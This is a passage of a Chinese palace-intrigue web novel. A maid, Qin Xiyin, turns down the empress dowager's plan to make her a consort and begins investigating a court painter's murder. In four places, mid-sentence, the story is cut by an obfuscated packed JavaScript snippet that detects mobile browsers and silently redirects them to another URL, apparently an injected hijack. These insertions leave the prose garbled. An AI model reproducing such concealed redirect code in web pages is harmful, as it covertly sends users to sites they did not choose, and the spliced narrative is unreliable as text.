红袍少年却把弓拿到皇帝和太后面前,说道:“这把弓表面上完好无损,实际上内里已经有裂痕了,经不起再次使用。待下官刮开表层的漆,请皇上和太后过目。” 说着,这红袍少年就叫人拿来一块小刀片,轻轻把弓上的漆刮去。 接着,弓身上的裂痕就暴露出来了。 见此,杨亭安脸色一变,默默地站远了一些。 皇帝惊讶道:“怎会如此?” 红袍少年道:“应该是刚才有人用内劲震得弓裂开了,但表面上看不出来。这需要巧劲,不是谁都能做到的。” 皇帝皱眉:“到底是谁在这把弓上做了手脚?现在出来承认,朕还可以网开一面。” 红袍少年说道:“陛下,这把弓有这么大的裂纹,无论谁使用,都会马上裂开。臣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751531|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之前的杨亭安却可以正常使用,可想而知是谁做的手脚了。” 皇帝对杨亭安怒目而视,杨亭安却慌张地辩解:“陛下,臣如此瘦弱,怎能用内劲震碎良弓?请皇上明察!” 庐陵长公主问道:“有谁看见杨亭安做手脚了?出来作证,本公主有赏。” 秦惜音看见了,但她不能出来作证,以免得罪杨昭仪。毕竟她现在还在杨昭仪处当差。 可是,如果不作证,难道就任由杨亭安逍遥法外? 正在秦惜音纠结之时,那红袍少年却又笑道:“今日射箭本为取乐,震碎一把弓也不是大事。既然杨亭安不承认,那也罢了,别破坏了宴会的氛围和公主的心情。” 庐陵长公主微笑道:“你说的也有道理。” 皇帝也不想纠结于这种小事,便说道:“那就依风颖所言,此事到此为止吧。来人,再去取一把弓来。” 这红袍少年叫齐风颖,是襄阳侯世子。 齐风颖闻言,说道:“陛下,臣刚才说,要以手掷箭,正中蓝色帕子中央。请陛下允臣掷箭。” 皇帝点了点头,齐风颖便拿了一支箭,用力掷出,果然正中树上的蓝色帕子中间。 那支箭余势未绝,竟裹挟着那块手帕一起向前,直到插.进了前面的门里。 众人齐声喝彩。 齐风颖不借助弓,就能有如此成绩,可见武艺超群。 庐陵长公主也笑道:“皇兄,不必让其他人射箭了,我选他,齐风颖。” 皇帝微笑道:“你想好了?” 庐陵长公主毫不犹豫地说道:“本公主一言,驷马难追。我要嫁给齐风颖,请皇兄为我们主婚。” 皇帝哈哈大笑:“好,如此快人快语,才是朕的好皇妹。” 齐风颖听见自己被选中,眼前一亮,但神色并不意外。他跪下谢恩,随即便站到一边。 太后把他叫过去,拉着他左看右看,边看边点头。 这时,杨亭安不甘心地说道:“公主,那把弓真的不是臣震断的,齐风颖在诬陷我……” 庐陵长公主皱眉道:“事实如何,大家都心知肚明。本公主没有继续追究下去,也是看在杨昭仪的面子上。你无需多言,就算那把弓真的不是你震断的,本公主也不会选你。” 杨亭安又羞愧,又恼怒,只能低头退下。 接着,庐陵长公主又说,今日宴席上最好吃的就是翡翠白菜卷,询问是谁做的。 秦惜音赶紧上前:“那道菜是奴婢做的,这也是出于杨昭仪的教导。” 庐陵长公主歪着头看秦惜音,道:“你虽长相普通,但这一举一动,倒像是贵族千金似的。而且还不居功,很是难得。” “公主谬赞,奴婢的父亲正是被贬的前任尚书令秦芝树。” “原来是这样。” 接着,庐陵长公主对太后说道:“母后,不如把这位姐姐调到您身边当个一等宫女怎么样?您身边的一等宫女正好缺了一位。我即将出嫁,有个稳妥的人照顾您,我也放心一些。” 太后笑道:“惜音是贱籍,能不能往上升,还得看你皇兄的意思。” 5. 婉拒太后 皇帝随口说道:“只要母后、皇妹喜欢,提拔一个宫女不是什么大事。” 太后道:“既然如此,惜音就到我那儿,先从二等宫女做起吧。直接提拔为一等宫女,也没法服众。” 秦惜音赶紧谢恩:“谢太后娘娘,谢长公主殿下。” 她没想到,自己只是来送个菜,也能有这番际遇。 秦惜音回到自己的房间,收拾了一下东西,就搬到太后宫中去了。 杨昭仪听说了今天宴会上的事,大发雷霆:“杨亭安这个不争气的东西,我让他想办法娶公主,他却出这样的丑……还有惜音那个贱丫头,竟然搭上了太后。我早就知道她不安分,想攀高枝,没想到这么轻易就被她攀上了。” 大宫女云雀安慰道:“娘娘别生气,杨公子就算当不成驸马,也是前途无量的。奴婢听人说,惜音也是因为菜做得好,才被庐陵长公主看上,调到了太后宫里。皇上并未对她多加注意。” “她今天故意扮丑,才没有引起皇上注意。但她到了太后那边,肯定是要以真面目示人的。还怕没有让皇上瞧见的机会吗?皇上可是隔三差五就去太后那儿走动。” “其实奴婢觉得,惜音就算真的被皇上看上了,也没什么。皇上是天子,会有源源不断的女人来到他身边,您防是防不住的。倒不如趁着现在后宫人少,想想怎么站稳脚跟。到时候,就算皇上身边有新宠,也越不过您去。” “你说的道理我也明白,只是本宫觉得普通的妃嫔都成不了气候,但那个惜音,品貌出众,心性过人,只怕不是好对付的。一旦她成为妃嫔,会是本宫的劲敌。” “她不是还没成为妃嫔吗?而且,她个人再怎么出色,毕竟是秦相的女儿,皇上肯定会顾忌她的出身的。皇上一向忌讳之前的三皇子一党,不会让秦家人有出头之日的。就算她用了什么手段勾.引皇上,皇上也未必会封她。” 杨昭仪松了一口气,道:“你说得对。本宫险些乱了分寸,幸亏有你在身边时时提点。” “不敢,能为娘娘效力,是奴婢的福分。听说半个月后就是选秀之期,奴婢觉得,娘娘尽快怀上皇嗣。” “没错。去小厨房给我做一份百合莲子粥,本宫等下要去御书房探望皇上。” “是。” 乌梅和云雀都是杨昭仪身边的大宫女,乌梅直率些,脾气也大一些;云雀城府较深,喜怒不形于色,经常给杨昭仪出谋划策,杨昭仪也多听她的。 ———— 秦惜音到太后这里当差后,恢复了本来面目。 太后发现她长得很漂亮,更高兴了。 太后问她宴会那天为什么故意打扮得那么普通,她只说自己当天生病了,所以显得憔悴。 太后宫中的宫人们也没有明显的霸凌倾向,秦惜音在这里过得还不错。 这天,秦惜音给太后上茶,太后问道:“惜音,但凡宫女入宫,都会由教习嬷嬷或是各宫主子重新取名,你怎么用的是本名?” 秦惜音心下一沉,但还是平静地回答道:“回太后娘娘,教习嬷嬷说,其他宫女的本名都太简单,或者干脆就是按家中排行,叫什么大妞、二女、小女。这种都不算正经名字,所以会重新取名。但奴婢的本名就很好,不必再改,所以没有给奴婢取新名字。” 太后点了点头,不再说话。 其实,秦惜音刚入宫时,很希望能改个名字,这样也能隐藏自己的过去。 可是,教习嬷嬷不知道是忘了,还是故意为难她,其他小宫女都有了新名字,只有她没有。 她去找教习嬷嬷,请求取个新名字,但教习嬷嬷没答应,还说她这名字从前尊贵,别人叫不得,以后人人都能叫,让她提前适应。 教习嬷嬷说这话时的得意神情,秦惜音至今都忘不了。 她从那时就明白,她一个人的落难,是很多人的狂欢。 时至今日,她也习惯了,不觉得有什么。 过了一会,太后身边的杜嬷嬷到了,对太后说道:“太后娘娘,您要找的女相士明祥到了。” 太后有些高兴地说道:“快请进来。” 过了一会,一个穿金戴银、身材略胖、面庞慈爱的中年妇人走了进来。 她只对太后福了福身,说道:“请太后安。” 太后伸手虚扶:“明相士不必多礼。” 秦惜音也好奇地看了一眼这位女相士。 听说女相士明祥善于看相,说的话十分灵验,所以很多王公贵族都喜欢找她看相,对她十分礼遇,没想到太后也是这样。 秦惜音还是第一次见到她。 太后对明祥道:“明相士,皇上已经二十多岁,后宫妃嫔也有十几人,但至今没有子嗣。眼看选秀在即,哀家也想举荐几个性情和顺、好生养的宫女,一并送给皇上。你看看我身边这些宫女,可有符合要求的。” 明祥笑道:“谨遵均命。” 接着,太后让杜嬷嬷把寿康宫所有宫女都聚集起来,让明祥一一相看。 明祥笑盈盈的,一个一个看过去,表情没有什么变化。 从她的脸上,别人看不出她心里在想什么。 有一些宫女满怀希冀地看着明祥,希望她挑中自己;也有一些宫女自觉卑微,低下了头,不敢想有的没的。 明祥看完之后,挑出了两个宫女,说道:“太后,这两个宫女能生贵子,可以举荐给皇上。” 这两个宫女喜出望外,激动不已。 太后看了看这两个宫女,点头道:“梧桐,兰花,你们俩先下去休息吧,这些天不用干活了。” 梧桐和兰花谢了恩,开心地走了。 这两个宫女长得并不美,身材也比较粗壮,不过面相都属于憨厚老实的那一类。 其他宫女没被选中,都有些失望。 太后让她们回去干活,不必待着了。 这时,明祥看见了侍立在侧的秦惜音,大为惊讶,对太后道:“太后娘娘,这位姑娘是宗室女吗?还是您娘家侄女?” 太后大笑道:“她不是宗室女,也不是我的侄女,她是我身边的二等宫女惜音。” “只是个宫女吗?看起来不像啊……” “哈哈哈,你不用管她的来历。要不你也替她看看相吧?” “太后娘娘,这位惜音姑娘是上等命格,多子多福,而且子孙皆显贵。她的命格比刚才那两位宫女好上不少。” 太后也有些惊异:“此话当真?” “民妇从无虚言。” “好,好啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751532|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 太后拉过了秦惜音的手,不住地看她,眼神慈爱,就像在看着未来的儿媳妇。 秦惜音面对这突如其来的变故,有些惊讶。她猜到了太后的心思,不过这会不能驳了太后的面子。有些话,可以等没人的时候再对太后说。 过了一会,女相士明祥离开。 太后问秦惜音:“惜音,你也听到明相士刚才的话了。你可愿意嫁给皇上?” 秦惜音道:“太后娘娘,奴婢有话想说,不过只能对您一个人说。” “好吧。” 太后屏退了其他下人。 秦惜音跪下道:“太后娘娘,请恕奴婢的罪,奴婢不愿成为妃嫔。” 太后惊讶:“这是为何?你的命这么好,天生就是当宠妃的命。若有朝一日,皇上不再介意你父亲的事,你又有好几个子女,封你为皇后也不是不可能。” “奴婢知道做皇上的妃嫔十分尊贵,而且皇上天纵奇才,容貌瑰伟,能侍奉皇上也是三生有幸。但奴婢从小就立志,不愿意靠嫁人来提高地位,也不愿意靠生子来获取利益。 奴婢所拥有的一切,要么靠父母给予,要么靠自己的双手挣来。除此之外,奴婢不愿意通过其他途径得到好处。” 太后有些佩服,道:“你有如此心志,倒极为少见。只是,你现在已经是宫女,成为皇上的妃嫔,是你翻身的唯一途径。就算有违你的心愿,也顾不得那么多了。 你需要摆脱卑微的身份,哀家需要给皇上找一个合心意的人,皇上也需要一个好生养的妃嫔。你答应了这件事,就是三赢。” “太后娘娘,奴婢也有一个法子,可以达到三赢。” “哦?你说说看。” “让奴婢留在您身边做宫女,您身边多一个聪明乖巧的人服侍,是为一赢;奴婢若服侍得好,将来有幸升为一等宫女,或是有考女官的机会,照样能翻身,是为二赢;奴婢无心成为妃嫔,皇上身边少了一个对他虚情假意的人,是为三赢。” 太后愣了一下,随即哈哈大笑:“你倒是很敢说,起来吧。原来你的心愿是成为女官。” “是。以前奴婢的心愿是立一番事业,倒不拘做什么。但现在沦为宫女,唯一可能的事业就是做女官了。虽然女官最高只有五品,但这对女子来说,已经是了不得的成就了。 刚才明相士说,奴婢的子孙皆显贵,这未必是应在奴婢当妃嫔上。如果奴婢自己有一番成就,比如当上女官,那女官的子女自然比一般人尊贵了。” 太后点头道:“你的志向倒不小,跟一般女子不同。只是,你是因家族获罪入宫的,属于贱籍,没有考女官的资格。” “是,奴婢明白。不过,若能留在太后娘娘身边,继续做宫女,将来升为一等宫女,或是像杜嬷嬷这样成为德高望重的管事嬷嬷,也是不错的。” 女官和宫女不一样,宫女就算是一等,也属于下人,只是比其他下人地位高一些而已。但是女官就属于官员了,虽然管的也大多是后宫的事,但有品级、有俸禄,地位跟宫女不可同日而语。 秦惜音觉得,如果自己没法当女官,那就把当一等宫女作为目标,也是可以的。 人总要有个目标的,哪怕在旁人看来,这目标微不足道。 6. 画师被害 太后对秦惜音道:“你倒是挺知足常乐的,而且还有一份永不言弃的心性。冲着这份心性,哀家给你一个机会。只要你帮哀家办好三件事,哀家就把你的贱籍改为良籍。到时候,你无论是想当一等宫女,还是想考女官,或是想出宫做点小买卖,都方便许多。” 秦惜音喜出望外,赶紧谢恩:“谢太后娘娘!” 贱籍的人,一辈子都是奴隶。但良籍宫女的未来,就有了更多可能。 不管是继续留在宫里,还是出宫,可做的事都多了很多。 秦惜音问道:“不知太后娘娘想让奴婢做什么?” “这第一件事,就是查清宫廷画师荀白鹤死亡的真相。” 秦惜音惊讶:“有个宫廷画师死了?” “是的,已经死了十来天了。但此事涉及后宫的宫女、女官,大理寺和刑部不方便直接插手。本来应该由掌管凤印的瑾妃来查案,但瑾妃对此事并不上心,甚至想蒙混过去。只因涉事的宫女是她宫里的人,涉案的另一位女官也跟她关系不错。 但哀家认为,人命关天,宫廷画师身份虽然低微,但也不是能随便被杀的。 哀家没有第一时间管这件事,是不想让瑾妃觉得哀家管太多。但从案发到现在已经整整十天了,她都没有查清真相,哀家不得不介入了。 你拿上寿康宫的令牌,就可以在后宫通行无阻,无论要审问谁都可以。” 说着,太后拿来一块玉牌,让秦惜音收下。 秦惜音道:“多谢太后娘娘信任,但奴婢以前从没查过案子……” “你当相府千金时,总管过家吧?” “嗯。” “那就行了。你有管家的经验,人又聪慧,哀家相信你能把这件事办好。皇宫也不过是一个大一点的家罢了。” “是。奴婢还有一个疑问。娘娘刚才说,这桩案子跟后宫的宫女和女官有关?难道是某个宫女和某位女官联手杀了那个宫廷画师?” “不,没那么简单,她们两个只是有嫌疑。如果证据确凿的话,这案子也不会拖这么久了。死者是由太医院的太医郁山青验尸的,他对这个案子比较了解,你可以先去找他聊聊。 查清此案后,大理寺会派官员前来询问,你如实告知,让大理寺留个备案就行了。” “是。” 秦惜音来到太医署,找到了太医郁山青。 郁山青是个三十来岁、身形消瘦、留着短须的男子。他眼神柔和,但眉头微锁,似乎心情一直不好。 他得知秦惜音是奉太后之命来查案的,有些激动地说:“这事终于有人管了……” 接着,他就把此事的来龙去脉大致讲了一遍。 死者荀白鹤,是宫廷画师,今年22岁,尚未娶妻,做宫廷画师也才三个月左右。 他长相俊美,举止斯文,因此有好多宫女甚至女官都喜欢他。 这其中身份最高的,当属瑾妃宫中的一等宫女月季,还有尚宫局的一位六品女官林锦屏。 宫女的地位虽然不如女官,但月季仗着瑾妃的势,在宫中也算小有权力,一般的女官见了她也要客客气气的,她实际上的待遇并不比女官差多少。 有这两位介入,其他宫女都不敢接近画师荀白鹤,生怕得罪了一等宫女月季和女官林锦屏,只能在心里偷偷暗恋。 而月季和林锦屏却一直在明面上竞争,今天你给荀白鹤送荷包,明天我就给荀白鹤送吃的,各不相让。 荀白鹤虽然早早表态过,不想跟宫中女子扯上关系,但月季和林锦屏却不管,仍旧对荀白鹤示好。 她们觉得只要自己持之以恒,总有一天能打动荀白鹤的。 荀白鹤虽然不是出身于什么大富大贵的人家,但他身家清白,长得又好,还有一手绘画的绝技,并且担任宫廷画师,养家糊口不成问题。 对宫女来说,荀白鹤已经算是不错的归宿了。 女官们一般都出身高贵,是官员之女,但也不是人人都来自煊赫的世家。 就比如林锦屏,她的父亲也只是个六品小官,家里也没钱没势,对她来说,如果能嫁给像荀白鹤这样的男子,也算是不错了。虽然算是低嫁,但也没低多少。 如果她要平嫁或是高嫁,未必能找到如意的人。就算找到了,其人品、相貌、才华可能还不如荀白鹤。 因此,月季和林锦屏谁也不肯放手,两人的矛盾很大,但谁也压不住对方。 月季是女暗卫出身,武功很不错,是瑾妃娘家送给瑾妃的,目的是贴身保护瑾妃,免得遭人暗算。 因此,月季的性格也跟一般宫女不一样,比较刚烈直接。有一次,她跟林玉屏吵起来时,还扬言说,她宁可把荀白鹤毁掉,也不会让给林锦屏。 林锦屏说她虚张声势,但月季却说,她从不虚张声势,不信走着瞧。 结果十天前的夜里,荀白鹤竟然死了,死在翰林图画院的一间画室里。 他的心口插着一把匕首,而且匕首的刀柄被他自己紧握在手中,看起来就像是自尽的。 但是,从他惊愕的表情来看,这件事肯定不会这么简单。 他倒在地上,身上盖满了他自己的画卷。 第二天早上,他的同僚去画室,发现地上散落了很多画卷,把画卷拿开,才发现了尸体。 而且,经查证,那把匕首是宫女月季的。 但月季却声称,那把匕首自己早就丢了,不是她杀的人。 可是,荀白鹤死的那天晚上,月季确实不在自己屋里,她说自己是去赏月了,这理由太过牵强。 而且,那天晚上,女官林锦屏也不在自己的屋子里。等她半夜回来时,跟她同住的小宫女说,她的裙子上有血。 因此,月季和林锦屏都有嫌疑。 但是瑾妃比较护短,月季是她的贴身宫女,林锦屏是跟她交好的女官,她直接把两人带走,关在自己宫里,不让别人见她们。 但月季和林锦屏只是把工作给停了,日常起居还是没受影响。而且,有瑾妃的保护,流言蜚语也传不到她们耳朵里。 听到这里,秦惜音问道:“瑾妃娘娘为何要护着这两个嫌疑人?自己身边的宫女和女官有可能杀了人,她难道不害怕吗?不想查清真相吗?” 太医郁山青道:“瑾妃娘娘的心思,微臣不敢擅加揣测。不过,微臣觉得,可能在瑾妃娘娘心里,月季和林女官比较重要,而死去的宫廷画师不重要吧。” “这件事,皇上也没有过问吗?” “没有,皇上日理万机,顾不上这种小事。还是太后娘娘仁慈,派了姑娘来查案, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751533|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 否则荀白鹤就白死了。” “荀白鹤具体的死亡时间是?” “十天前晚上的亥时一刻到亥时三刻之间。” “他身上还有其他伤口吗?” “没有了。” “那么,我去问问月季和林女官好了。” “等等,秦姑娘,嫌疑人不止她们两个。” “还有嫌疑人?” “是的。那天晚上,有另一位画师张诚志跟荀白鹤一起在画室里,具体待到什么时辰就不知道了。据张画师自己所说,他在戌时七刻左右就离开了画室,那时候荀白鹤还活着,只是无人能为他作证。 这个张画师跟荀白鹤素来有矛盾,因为荀白鹤画得比他好,皇上渐渐地更倚重荀白鹤,张画师被投闲置散。 好像前段时间,他和荀白鹤一起在二楼整理画卷,荀白鹤却从二楼滚了下来。虽然荀白鹤说是自己摔下来的,但旁人都怀疑是张诚志推的他。 还有一回,荀白鹤和张诚志单独待在一块时,荀白鹤的手被划伤,他也说是自己划的。实际上是谁划的,就不好说了。 荀白鹤是个省事的性子,就算被人伤害了,也不一定会说出来。” 秦惜音点头道:“所以,那位张画师也有嫌疑……那他现在在哪里?” “他也被关在自己的房间里,不能外出,一日三餐有人送过去。姑娘也可以一并询问他。” “嗯……还有其他嫌疑人吗?” “暂时没有。” “那死者的尸体存放于何处?” “在冰窖里,微臣带您过去。” 郁太医带着秦惜音来到了冰窖。 宫里有好几个冰窖,眼前这个冰窖是闲置的,用来储存多余的冰。 没想到,刚好派上了用场,暂时用来储存荀白鹤的尸体。 骤然见到尸体,秦惜音还是有几分害怕的。 她克服了恐惧心理,走上前去,仔细观察。 死者荀白鹤,虽然脸色苍白,但可以看出,他五官俊秀,生前应该很迷人。 只是,他的表情有些震惊。他的眼睛已经闭上了,但秦惜音忽然有一个想法:如果他死的时候眼睛是睁着的,那眼神里可能也充满了惊恐。 只是现在眼睛闭上了,也没法再睁开。 他还保留着临死前的动作,左手握着匕首,匕首的尖端直直地插.在他的心口处。那把匕首上雕刻了一朵月季花,这是宫女月季的专属匕首。 本来宫女不能携带武器,但瑾妃特许月季携带匕首,毕竟月季要保护自己。 瑾妃还为月季打造了专属武器,就是雕刻着月季花的匕首。 乍一看,荀白鹤还真像是自尽的。 但秦惜音观察了一会,觉得不对。 郁太医问道:“姑娘,您有什么发现吗?” 秦惜音肯定地说道:“他不是自尽的。” “何以见得?” “有两点理由。第一,你刚才说,死者的身上盖满了画卷,他肯定没法自己做到这件事。必然是有人在他死后,才把画卷盖在他身上的。 这一点很奇怪,容易暴露死者是死于他杀,而不是自尽。凶手为什么要多此一举?这事还有待查证。 还有第二点,死者的手有点不对劲。” 7. 情同父子 “哪里不对劲?” “如果一个人要用匕首自尽,他的手掌应该朝上,小拇指朝着心口方向,这个姿势才方便用力。但是,死者却是手背朝上,握住刀柄,大拇指朝着心口处。” 郁太医用自己的手试了一下,发现果然如秦惜音所说。 他点头道:“姑娘言之有理。所以,荀白鹤是被人杀死,已经确凿无疑。我个人认为,要当面杀死荀白鹤,而且一击毙命,要么凶手是荀白鹤极为信任之人,要么凶手武功很高,高到荀白鹤来不及反应。” “所以,你认为宫女月季的嫌疑大一点?” “是的,月季是暗卫出身,她有能力正面杀人,而死者没有时间反应。再加上这把匕首也是她的。林女官是弱女子,应该做不到这一点。至于画师张诚志,他比死者高一些,如果他正面杀了荀白鹤,刀尖部分应该是往下的。但是,这把匕首的刀尖是正着插.进死者的心口的。这说明,杀人者的身高应该跟死者接近。 在三个嫌疑人里,也只有宫女月季跟死者差不多高。林女官身材矮小,她如若正面杀人,匕首的刀尖应该是往上的。您见到三个嫌疑人,应该也会做出跟微臣相近的判断。 还有一点,就是死者表情惊恐,这应该是他临死前想不到凶手会杀他。如果是跟他有过节的张诚志,他就不会震惊。只有曾经对他表现出好感的月季或是林女官动手杀他,他才会有这样的表情。” 秦惜音点头道:“您的分析有道理。看来,我得先去跟三位嫌疑人聊聊。” 郁太医道:“瑾妃娘娘强势且护短,可能会阻挠您查案。” “无妨,我有太后的玉牌,瑾妃娘娘应该不敢拦我。” “但是,万一真是月季或林女官杀的人,您查出真相,必然会因此而得罪瑾妃。您不会害怕吗?” “不会。我也想查出真相。而且,我认为瑾妃不敢对太后的宫女下手。就算她敢下手,我也要查。” 郁太医眼中露出佩服的神色,道:“姑娘果真胆量非凡。” “郁太医客气了。这案子还有什么疑点吗?” “哦,差点忘了一件事。刚发现荀白鹤死的时候,我给他验尸,发现他临死之前喝过酒。” “喝酒?他是跟张诚志画师喝的吗?” “我询问过张诚志,他说没有跟死者喝过酒。而且,以他们两人的关系,也不太可能坐在一起喝酒。” “张诚志是最后一个见过他的人,如果他不是跟张诚志喝酒,那就是张诚志离开后,死者还见过其他人。” “我也是这么推测的。但是,也不排除张诚志给死者灌酒,让死者喝醉,从而更方便下手杀人的可能。” “嗯。” 两人正准备离开,突然闻到一股酒味。 接着,有个中年文士提着酒壶,醉醺醺地走了进来,很悲伤的样子。 郁太医对那中年文士道:“徐画师,您怎么来了?” 徐画师道:“我来看看荀白鹤。” 这中年文士看见荀白鹤的尸体,放声大哭,踉踉跄跄的,站都站不直,还是郁太医扶着他的。 秦惜音问道:“郁太医,这位是?” 郁太医:“哦,这位是翰林图画院的另一位画师,叫徐绍。他跟荀白鹤认识很多年了,一直对荀白鹤视如己出。荀白鹤当宫廷画师,还是他引荐的。所以,荀白鹤死了,徐画师很伤心。” “这么说,徐画师的荀白鹤的尊长了?” 徐绍摇头道:“不,我跟荀白鹤没有亲戚关系,他只是我的街坊邻居。这孩子父母早亡,靠父母留下的一点薄产度日。但他从小就很有绘画天赋,五六岁时,他的画就让很多老画师称赞不已。 我也在绘画方面指点过他,有时候也把他带到我家住几天。所以,他虽非我的晚辈,却跟我的子侄差不多。他长大后考过科举,没有考中,我就举荐他当了宫廷画师,也算是能糊口。没想到,短短几个月,就发生了这样的变故……” 看来这位徐绍画师很了解死者,秦惜音想问他一些问题,但又觉得在冰窖问不合适。 于是,秦惜音道:“徐画师,太后娘娘派我来调查此案,相信您也很想替死者讨回公道。如果您有时间的话,我们出去聊聊?这里太冷,不能待太久。” 徐绍点头:“嗯……” 冰窖外面是一个小花园,来到这里之后,有阳光照着,暖和许多。 秦惜音搓了搓被冻僵的双手,问道:“徐画师,荀白鹤死的那天,您见过他吗?” 徐绍:“见过,不过是白天的时候。下午我走得早,就没见过他了。” “那他白天可有异常?” “没有,他像往常那样,在画室画画。” “那张诚志呢?有没有异常?” “没有,他最近一直都不太高兴,那天也是一样。” “您是说,张画师一直不太高兴?” “是的。有时候,皇上会出一个题目,让所有画师一起画。虽然题目相同,但每个画师的灵感、画技不同,画出来的画自然不一样。如果皇上觉得好,就会有赏赐。 连着好几次,都是荀白鹤拔得了头筹,获得奖励。而张诚志一直觉得自己的绘画水平不比荀白鹤差,所以心情不佳。 他一直卯着劲,想胜过荀白鹤,可惜一直没成功。” 秦惜音:“那依您看,张画师会不会怀恨在心,杀了荀白鹤?” “这我不好说……我觉得同行之间有一些不愉快也很正常,不至于要杀人吧……而且,那把匕首不是月季的吗?” “所以您认为,月季的可能性更大?” “我不敢这么说,毕竟我也只是一个画师,不是主管刑狱的官员……只是,从常理推测,如果月季要杀人,为什么要选自己的匕首,而不是换一把刀呢?” 秦惜音点头:“您说的也有道理。” 徐绍接着说道:“具体凶手是谁,我不敢下定论。还请惜音姑娘尽快查明真相,还荀白鹤一个公道……这孩子太可怜了,从小没了父母,好不容易长大成人,还遭此厄运……” 秦惜音安慰道:“徐画师大可放心,我一定会查清真相。对了,荀白鹤平时喝酒吗?” “他会喝酒,只是很少喝。” “您看起来很喜欢喝酒?” “是的……平时高兴的时候我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751534|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会喝酒,伤心的时候我更要喝酒……荀白鹤活着时,还经常劝我少喝点。” “荀白鹤死的那天,跟谁喝过酒吗?” “我也不知道……那天我没找他喝过酒。他是不是跟别人一起喝过,就不知道了。” “张诚志喝酒吗?” “他也会喝酒。” “明白了。那您见过月季和林锦屏女官吗?” “见过。有时候她们来画室找荀白鹤,我看见过几次。” “您觉得她们性情如何?会不会在一怒之下杀人?” “这个……她们俩看着都是普通的姑娘家,不像是会随便杀人的样子。不过,我听说月季是暗卫,武功很高。她如果要杀人,应该很容易。至于她们俩的性情……我觉得都有点强势,不好惹。荀白鹤性情温和,我还私下里担心他如果真的娶了月季或林女官,会受欺负。” 徐绍大概是喝了太多酒,边说话边打嗝,酒味夹杂着反胃的气息,十分难闻。 秦惜音也是好不容易才听他讲完话,还要尽量保持面色平静。 接着,秦惜音道:“我暂时没问题了,徐画师,您先回去休息吧。以后如果还有问题,我会再来找您的。” “好的……” 接着,徐绍对郁太医道:“郁太医,之前我跟您说的药,您准备了吗?” 郁太医道:“准备了,你跟我回太医院去拿吧。” “那谢谢你了……钱的话,我过一两个月再给你……” “没事,不着急。” 徐绍拍了拍郁太医的肩膀,说道:“还是你对我最好……我欠你的人情,以后一定还……” 郁太医有些无奈地说道:“依我看,也不用等以后。你把酒戒了,不就有钱抓药了?也不用每回都赊欠。” “那可不行,要我戒酒,那还不如要我的命呢……” 郁太医摇了摇头。 接着,郁太医对秦惜音道:“姑娘,我也先走了,您有事随时来太医院找我。” 秦惜音点了点头。 她决定先去找画师张诚志,至少没人阻拦。 很快,秦惜音就来到了翰林图画院。 这里有一排住宿区,如果画师们有事逗留宫中,可以暂时住宿,每间房住三四个人。 由于荀白鹤遇害,嫌疑人张诚志也被关押在自己的宿舍,荀、张二人宿舍的其他人这些天都挤在其他房间打地铺,或是回自己宫外的家住。 秦惜音先去了荀白鹤的宿舍,这里有个小太监在看屋子。 秦惜音出示了令牌,说自己来查案,小太监赶紧打开门,让秦惜音进去。 这间房不大,中间放了一块大屏风,用于隔断。屏风的内侧摆了四张床,每张床边都有一个衣柜。 屏风外面是书桌、椅子,还摆放着一些杂物。 画师们的东西不多,所以也不拥挤,反而看起来挺干净清爽的。 秦惜音问道:“荀白鹤平时住在哪里?” 小太监:“左边第一张床,是他平时睡的。自从他出事后,他的舍友们都暂时搬出去了,以免破坏现场。” “他平时经常住在这里吗?” 8. 闯瑾妃宫 小太监道:“也不是,他在宫外有家,每个月差不多在宿舍住个七八天吧,其他时候是回家睡的。有时候忙到太晚,他才会住在这里。” “自从他遇害后,他的东西有人动过吗?” “应该没有吧,不过我也不太确定。这里只有我和另一个小太监值守,我们要干很多杂活,也不能时时刻刻守着。” 秦惜音先检查了荀白鹤的床铺、衣柜,没发现什么特别的。 柜子里没有酒杯、酒壶之类的。 秦惜音问小太监:“我听说荀白鹤会喝酒?他这里怎么没有酒杯和酒壶?” 